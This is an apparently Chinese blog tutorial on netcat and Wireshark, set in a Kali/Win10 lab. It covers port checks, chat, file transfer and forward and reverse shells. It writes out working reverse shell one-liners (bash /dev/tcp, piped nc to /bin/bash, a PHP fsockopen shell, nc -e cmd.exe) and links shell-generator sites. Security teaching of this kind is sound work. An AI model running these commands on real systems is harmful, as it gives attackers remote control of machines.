21_nc&wireshark

nc&wireshark

一、nc介绍

网上百度就有一堆介绍,平常主要用于监听和连接
在这里插入图片描述

二、nc判断端口是否开放

实验环境: win10虚拟机和kali虚拟机
win10虚拟机ip: 192.168.11.142
kali虚拟机ip: 192.168.11.131
在这里插入图片描述
在这里插入图片描述
此时win10虚拟机,开放了80端口,21端口,3306端口
在这里插入图片描述
在kali虚拟机使用nc可以判断win10虚拟机的端口是否开放
如果是开放的端口,比如80端口,就会像卡住一样
如果是未开放的端口,比如81端口,直接会显示连接拒绝
在这里插入图片描述
像mysql的3306端口,如果开放,随便输点东西,会被当作用户密码来判断
在这里插入图片描述

三、nc或者ncat实现信息互传

nc和ncat是一个东西,只不过windows里面是ncat,linux里面是nc

kali自带了nc
但是win10虚拟机没有ncat,需要安装nmap,nmap的文件夹里面自带了ncat.exe

在这里插入图片描述
-lvp参数是实现监听本地端口
-nv 参数是实现连接其它主机端口

现在kali虚拟机作为监听方,监听本地的12345端口
在这里插入图片描述
win10虚拟机作为连接方,去连接kali的12345端口
在这里插入图片描述
连接成功之后,kali监听方这边会显示来自哪个主机的连接
在这里插入图片描述

然后两边都可以信息互传了,输入个消息,然后回车,对面就能接收到
在这里插入图片描述
在这里插入图片描述

四、nc实现文件传输

环境模拟:
在kali虚拟机随意创建一个文件
这里kali虚拟机就是文件持有者
win10虚拟机想获取这个hello.txt文件里面的内容
在这里插入图片描述

nc实现文件传输有两种方法

1. 文件持有者作为监听方(不推荐)

文件持有者也就是kali虚拟机,通过管道符将hello.txt里面的内容转发到本地的12345端口上
在这里插入图片描述
win10虚拟机通过连接kali的12345端口获取到了hello.txt文件内容,并写入到world.txt中

这个方法的缺点是无法主动断开,只能手动断开
那么就造成了一个问题,这个hello.txt文件内容比较少,如果遇到文件内容多的情况下,如果我们不知道是否传输完毕,就提前断开的话,可能导致文件传输不完整,因此不推荐这种方法
在这里插入图片描述

那么如何解决不自动断开的问题呢?
需要使用-i 参数

监听方和连接方两边都必须加上-i参数,后面跟数字代表时间,比如 -i 3
在这里插入图片描述
Idle timeout expired (3000 ms)这句话当数据完成传输后3秒会自动断开
在这里插入图片描述
kali虚拟机这边同样自动断开
在这里插入图片描述

2. 文件持有者作为连接方(推荐)

这个方法与上面方法的监听方和连接方相反
win10虚拟机先开启本地的12348端口监听,并且将监听到的内容写入helloworld.txt中
在这里插入图片描述
文件持有者,也就是kali虚拟机这边,通过管道符将hello.txt内容转发到win10主机的12348端口

可以看到传输完毕,自动断开,并且显示了文件大小和传输时间
在这里插入图片描述
并且win10虚拟机这边同样自动断开,也获取到了hello.txt的文件内容
在这里插入图片描述

五、nc实现远程控制

1. linux反弹shell给windows

windows获取linux的shell

第一种是win10虚拟机要获取kali虚拟机的shell

(1) 反向连接(反弹shell)

先在win10虚拟机监听12345端口
在这里插入图片描述
kali虚拟机去连接windows虚拟机的12345端口
-c /bin/bash的作用就是主动去win10虚拟机下的12345端口获取命令,交给/bin/bash执行,/bin/bash相当于windows里面的cmd

kali虚拟机将自己的shell反弹出去,反弹给了win10虚拟机,所以叫反弹shell,也叫反向连接
在这里插入图片描述
win10虚拟机成功获取kali的shell
在这里插入图片描述

(2) 正向连接

kali虚拟机主动监听自身的12345端口,并把接收到的命令传给/bin/bash
因此叫做正向连接
在这里插入图片描述
win10虚拟机连接kali虚拟机的12345端口,成功获取kali的shell
在这里插入图片描述
kali虚拟机显示来自win10虚拟机的连接
在这里插入图片描述

2. windows反弹shell给linux

linux获取windows的shell

这种与上面的linux反弹shell给windows的用法差不多
只不过linux是使用 -c /bin/bash
而这里windows要使用 -e cmd.exe

(1) 反向连接

kali虚拟机监听12345端口
在这里插入图片描述
win10虚拟机主动去kali虚拟机下的12345端口获取命令,并且将命令交给cmd.exe执行

win10虚拟机将自身的shell反弹出去,反弹到kali的12345端口上
在这里插入图片描述
kali虚拟机成功获取win10的shell
在这里插入图片描述

(2) 正向连接

win10虚拟机主动监听自身的12345端口,并把接收到的命令交给cmd.exe执行
在这里插入图片描述
kali虚拟机连接win10虚拟机,成功获取win10虚拟机的shell
在这里插入图片描述

六、linux常见的反弹shell方式

1. bash反弹shell

win10虚拟机先监听自身的12345端口,等待来自kali的shell
在这里插入图片描述
kali虚拟机使用下面这个bash命令去反弹shell给win10虚拟机

bash -i >& /dev/tcp/192.168.11.142/12345 0>&1

bash相当于windows里面的cmd,代表执行命令
-i 参数代表交互式
/dev/tcp/192.168.11.142/12345 表示使用tcp协议去连接win10主机的12345端口,将获取的值传递给bash
0>&1 0代表标准输入,1代表标准输出,也就是在win10虚拟机输入的命令,重定向交给了kali虚拟机的bash去执行

在这里插入图片描述
在这里插入图片描述

2. 利用管道符反弹shell

这条命令的意思是kali虚拟机监听本地的12345端口,将接收到的命令重定向给/bin/bash去执行

/bin/bash执行完的结果在重定向给本地的12348端口,任何访问kali的12348端口的主机都可以获取结果

nc -lvp 12345 | /bin/bash | nc -lvp 12348

在这里插入图片描述
win10虚拟机这边就需要连接两个端口
连接kali的12345端口去输入命令
连接kali 的12348端口去查看结果
在这里插入图片描述

3. php反弹shell
php -r 'set_time_limit(0); $ip="192.168.11.142";$port="11111";$fp=@fsockopen($ip,$port,$errno,$errstr);if(!$fp){echo "error";}else{fputs($fp,"\n+++++++++++++connect sucess+++++++++\n");while(!feof($fp)){fputs($fp,"shell:");$shell=fgets($fp);$message=`$shell`;fputs($fp,$message);}fclose($fp);}'

win10虚拟机先监听本地的11111端口
在这里插入图片描述
kali这边去执行php反弹shell
在这里插入图片描述
win10虚拟机成功获取kali的shell
在这里插入图片描述

4. 在线网站生成反弹shell

网址:
https://www.revshells.com/
https://forum.ywhack.com/reverse-shell/
这两个网址打开的网页是一样的

可以自动生成各种各样的反弹shell
然后自己去一个个试,看哪种可以成功反弹shell
在这里插入图片描述

七、wireshark的基本使用

这个界面是选择接口的界面

后面的有波浪线的,有起伏的代表与外界进行数据通信

eth0是kali 的网卡
在这里插入图片描述
这个地方有个筛选器
在这里插入图片描述
双击点开eth0,上面也有个筛选器
在这里插入图片描述
这两个筛选器是有区别的

外面的筛选器比如说输入icmp,就代表只获取icmp包,点开eth0之后,要么是有icmp的包,要么是什么也没有,不显示其它的包,比如说tcp,udp等包

点开eth0之后上面筛选器输入icmp,代表只展示icmp包,但是其它包,比如tcp,udp等包也抓取了,删除筛选器里面的icmp,其它的包也展示出来了

展示全部包之后,随便点开看看,下面展示了很多的信息
在这里插入图片描述

下面有个题目:

筛选IP为1.1.1.1 目标端口为888 的包 或者 是ip为2.2.2.2 源端口为9999的包

我们如何在过滤器上写,才能够筛选出来,可能筛选出来没有结果,但是要会写

((ip.addr==1.1.1.1) && (tcp.dstport == 888 || udp.dstport == 888))||((ip.addr==2.2.2.2) && (udp.srcport  == 9999 || tcp.srcport == 9999))

这里有个小技巧,当你不知道语法,不会写的时候,在下面的信息栏找到对应的项

比如说我这里选的源IP,然后右键,有一个Prepare as Filter,意思是准备为筛选器
然后点开这个,里面就有一些与或的语法,上面就自动生成语法,我们根据生成的改写就可以了
在这里插入图片描述

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值